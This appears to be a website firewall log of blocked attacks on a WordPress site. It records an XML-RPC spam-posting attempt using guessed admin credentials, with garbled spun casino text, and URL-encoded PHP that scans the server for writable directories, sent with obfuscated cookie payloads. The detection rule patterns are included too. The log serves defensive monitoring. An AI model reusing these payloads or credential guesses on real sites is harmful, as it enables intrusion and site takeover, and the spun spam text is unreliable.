action-by-step book goes from the means of to play a real currency slot video game, launching one the new to your-monitor choices and you may showing different buttons in addition to their features. Talking about harbors linked around the a network from websites with many from people eating to your a huge jackpot.<\/p>\n<p>Maybe it’s shown in the another money compared to one selected by the associate. One count higher than C$2330 usually demand a lot more confirmation, however, Royal Panda local casino along with said it could happen for all the way down profits. Nevertheless, the fresh casino doesn’t be sure there may never be people waits. Anyhow, it ought to be noted that lowest deposit anyone makes from the Royal Panda is actually C$ten, and the handling time are quick.<\/p>\r\n<h2 id=\"toc-1\">Furniture pieces Which might be So Awful They’re also In reality Funny<\/h2>\n<p>Investigate bet standards per extra for your limitations. Players love risk-free cash also provides one to award the support. As the money transmits provides a higher minimum, you might have to to visit $a hundred for this choice. Minimal dumps to own cryptocurrencies initiate during the $20, while you are mastercard places initiate at the $twenty-five. For example, bonus laws and regulations you'll claim that you may have a 45x bet demands. Comprehend these fine print to help you withdraw your money if you want.<\/p>\r\n<h2 id=\"toc-2\">Insane Panda Position Design, Features & The way it operates<\/h2>\n<img src=\"https:\/\/preview.redd.it\/cryptoloko-casino-2023-review-honest-ratings-v0-eggo17uzmk8b1.gif?width=600"]
["2026-05-12 13:31:17","216.238.81.40","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> s:99a7781579e4ce5f64a2ffaf26f8761ada82513e\" alt=\"no deposit casino bonus spins\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>Old-college slots, presenting common variety of aces, fortunate horseshoes, and wild signs. You can find four head sort of slots in the online gambling. We offer a huge number of over 15,300 totally free slot video game, all of the accessible without the need to register or download some thing! It’s a terrific way to test the newest video game and luxuriate in risk-100 percent free gameplay. You have made 10 car-spins, which begin instantaneously, and you will within the rotation, any winning traces can get a great multiplier out of x3. step 3, four or five ones photos result in 10, 20 or fifty 100 percent free revolves of your reels.<\/p>\r\n\r\n<h2 id=\"toc-3\">Epstein Prison Guard Googled His Label Times Ahead of His Passage And you will Produced Deposit Weeks Before<\/h2>\n<p>The game (Insane Panda's option identity) refines their Asian motif approach to the at random-selected awesome symbol feature. Nonetheless with their 50-range construction, but they are studying one to motif issues on line. Huge Tiger and you can Dragon's Pearl tell you they've been assessment past traditional icons. They have decided on the web issues and perhaps they are converting its whole profile to help you prove they.<\/p>\n<p>As usual, you will want to suits step 3 or maybe more signs discover a great winning integration. The fresh RTP (go back to player) of one's Nuts Panda slot is a little unsatisfying from the 94.26% that is lower than mediocre. This can be a 5 reels position that has an optimum one hundred paylines and you may cuatro rows. Practice to play the fresh 100 percent free online game in order to become a good master in it.<\/p>\n<p>In that way, profiles may choose to gamble games one to has just paid otherwise try its luck having a casino game one didn’t. Here, everybody is able to see which ports have paid an amount higher than the main one chosen in one single spin, over a designated time frame. Like most casinos, you’ll come across here harbors, one another Movies and you can Classical. The maximum wager welcome since the extra is actually play is actually C$7.50. During the CasinoBonusCA, i price local casino incentives objectively based on a rigorous get process.<\/p>\r\n<h2 id=\"toc-4\">Unlock That it Offer<\/h2>\n<img src=\"https:\/\/s3-media0.fl.yelpcdn.com\/bphoto\/j5vaU1fUox0UVhHS4DfzqA\/348s.jpg\" alt=\"the online casino promo codes\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>Panda Crazy try a nice-looking game having an adorable theme but it could be a tad possible for sophisticated ports admirers. These types of Panda Wild symbols create exactly what merely Wilds can also be – option to all the other symbols on the game to create far more possible winning combinations. This can be along with the shared higher-paying icon from the games, awarding 200x their bet for many who be able to find 5 everywhere to the reels. These types of emails play a crucial role, because they assist to lead to the main benefit 100 percent free Spins game and you may discharge Wilds to the arena. That it Far-eastern-flavoured position has conventional pagodas, gold coins and you may koi seafood to your reels with a reddish bamboo forest history. The newest variance is just one most other dimensions you to tells regarding the standard quantity that game player is likely to make from every wager.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T05:31:16<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\ncontent-length:7529\n\nauto=webp&<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Get A supplementary Boost Once you Online game From the Wild Casino The newest crazy escapades for Insane Gambling establishment sees with all the nuts offers and you can discounts. Check them out.]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Movies harbors<\/a><\/li><li><a href=\"#toc-1\">Furniture pieces Which might be So Awful They’re also In reality Funny<\/a><\/li><li><a href=\"#toc-2\">Insane Panda Position Design, Features &s=99a7781579e4ce5f64a2ffaf26f8761ada82513e\" alt=\"no deposit casino bonus spins\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>Old-college slots, presenting common variety of aces, fortunate horseshoes, and wild signs. You can find four head sort of slots in the online gambling. We offer a huge number of over 15,300 totally free slot video game, all of the accessible without the need to register or download some thing! It’s a terrific way to test the newest video game and luxuriate in risk-100 percent free gameplay. You have made 10 car-spins, which begin instantaneously, and you will within the rotation, any winning traces can get a great multiplier out of x3. step 3, four or five ones photos result in 10, 20 or fifty 100 percent free revolves of your reels.<\/p>\r\n\r\n<h2 id=\"toc-3\">Epstein Prison Guard Googled His Label Times Ahead of His Passage And you will Produced Deposit Weeks Before<\/h2>\n<p>The game (Insane Panda's option identity) refines their Asian motif approach to the at random-selected awesome symbol feature. Nonetheless with their 50-range construction, but they are studying one to motif issues on line. Huge Tiger and you can Dragon's Pearl tell you they've been assessment past traditional icons. They have decided on the web issues and perhaps they are converting its whole profile to help you prove they.<\/p>\n<p>As usual, you will want to suits step 3 or maybe more signs discover a great winning integration. The fresh RTP (go back to player) of one's Nuts Panda slot is a little unsatisfying from the 94.26% that is lower than mediocre. This can be a 5 reels position that has an optimum one hundred paylines and you may cuatro rows. Practice to play the fresh 100 percent free online game in order to become a good master in it.<\/p>\n<p>In that way, profiles may choose to gamble games one to has just paid otherwise try its luck having a casino game one didn’t. Here, everybody is able to see which ports have paid an amount higher than the main one chosen in one single spin, over a designated time frame. Like most casinos, you’ll come across here harbors, one another Movies and you can Classical. The maximum wager welcome since the extra is actually play is actually C$7.50. During the CasinoBonusCA, i price local casino incentives objectively based on a rigorous get process.<\/p>\r\n<h2 id=\"toc-4\">Unlock That it Offer<\/h2>\n<img src=\"https:\/\/s3-media0.fl.yelpcdn.com\/bphoto\/j5vaU1fUox0UVhHS4DfzqA\/348s.jpg\" alt=\"the online casino promo codes\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>Panda Crazy try a nice-looking game having an adorable theme but it could be a tad possible for sophisticated ports admirers. These types of Panda Wild symbols create exactly what merely Wilds can also be – option to all the other symbols on the game to create far more possible winning combinations. This can be along with the shared higher-paying icon from the games, awarding 200x their bet for many who be able to find 5 everywhere to the reels. These types of emails play a crucial role, because they assist to lead to the main benefit 100 percent free Spins game and you may discharge Wilds to the arena. That it Far-eastern-flavoured position has conventional pagodas, gold coins and you may koi seafood to your reels with a reddish bamboo forest history. The newest variance is just one most other dimensions you to tells regarding the standard quantity that game player is likely to make from every wager.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T05:31:16<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>& The way it operates<\/a><\/li><li><a href=\"#toc-3\">Epstein Prison Guard Googled His Label Times Ahead of His Passage And you will Produced Deposit Weeks Before<\/a><\/li><li><a href=\"#toc-4\">Unlock That it Offer<\/a><\/li><\/ul><\/div>\n<p>Insane Gambling establishment have betting (rollover) criteria with each incentive provide. <!--more--> These <a href=\"https:\/\/vogueplay.com\/au\/mahjong-88\/\">https:\/\/vogueplay.com\/au\/mahjong-88\/<\/a> offers typically tend to be a worthwhile complimentary percentage of one hundred%-300%. While the the spin is actually an opportunity for more money prizes, register!<\/p>\r\n<h2 id=\"toc-0\">Movies harbors<\/h2>\n<p>The majority of the necessary casinos always render a good greeting incentive so you can the newest players. Our very own action-by-step book goes from the means of to play a real currency slot video game, launching one the new to your-monitor choices and you may showing different buttons in addition to their features. Talking about harbors linked around the a network from websites with many from people eating to your a huge jackpot.<\/p>\n<p>Maybe it’s shown in the another money compared to one selected by the associate. One count higher than C$2330 usually demand a lot more confirmation, however, Royal Panda local casino along with said it could happen for all the way down profits. Nevertheless, the fresh casino doesn’t be sure there may never be people waits. Anyhow, it ought to be noted that lowest deposit anyone makes from the Royal Panda is actually C$ten, and the handling time are quick.<\/p>\r\n<h2 id=\"toc-1\">Furniture pieces Which might be So Awful They’re also In reality Funny<\/h2>\n<p>Investigate bet standards per extra for your limitations. Players love risk-free cash also provides one to award the support. As the money transmits provides a higher minimum, you might have to to visit $a hundred for this choice. Minimal dumps to own cryptocurrencies initiate during the $20, while you are mastercard places initiate at the $twenty-five. For example, bonus laws and regulations you'll claim that you may have a 45x bet demands. Comprehend these fine print to help you withdraw your money if you want.<\/p>\r\n<h2 id=\"toc-2\">Insane Panda Position Design, Features & The way it operates<\/h2>\n<img src=\"https:\/\/preview.redd.it\/cryptoloko-casino-2023-review-honest-ratings-v0-eggo17uzmk8b1.gif?width=600"]
["2026-05-12 13:31:47","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> vC:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\ncontent-length:4400\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nvC=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:32:09","102.209.21.218","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> mQ:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoIRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\ncontent-length:4400\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nmQ=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%